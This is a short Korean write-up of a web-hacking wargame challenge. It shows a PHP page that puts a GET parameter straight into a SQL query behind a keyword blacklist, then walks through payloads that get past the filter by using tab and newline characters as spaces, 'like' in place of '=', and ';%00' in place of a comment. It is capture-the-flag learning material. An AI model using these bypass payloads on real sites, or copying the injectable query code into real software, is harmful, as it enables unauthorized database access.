< 문제 해설 >
< 코드:1 >
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
위 그림 1에서 1을 입력 시 no=(1)이 되고, guest가 출력된다. < 코드 1>을 보면, id = admin일 경우 no = 2라고 한다. 그러므로 아래 그림 2와 같은 코드를 injection 해준다.
< 코드:2 >
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=(0) or no like 2--
공백문자가 필터링되고, = 문자가 필터링되고 있으므로, 공백은 %09로 = 는 like 구문으로 우회해 주었다.
?no=0)%09or%09no%09like%092--%09 해당 구문 Injection 시 사용할 수 있는 공백문자는 아래와 같다.
==> %09, %0b,%0d ,%0c ( %0a는 계속 시도했으나, 되지 않았다.. )
하지만, %0a를 아래 구문과 같이 사용하면, injection이 성공하게 되었다. ;는 쿼리의 끝을 알리며, %00은 널문자이고, -- 대신 사용해 줄 수 있다.
no=0)or%0aid%0alike%0a"admin";%00
한줄 평: 쿼리가 no=() 괄호와 같은 형태를 띠는 것을 몰랐다.. 코드를 자세히 보지 않은 탓 인듯하다... 그리고 %0a는 뭘까..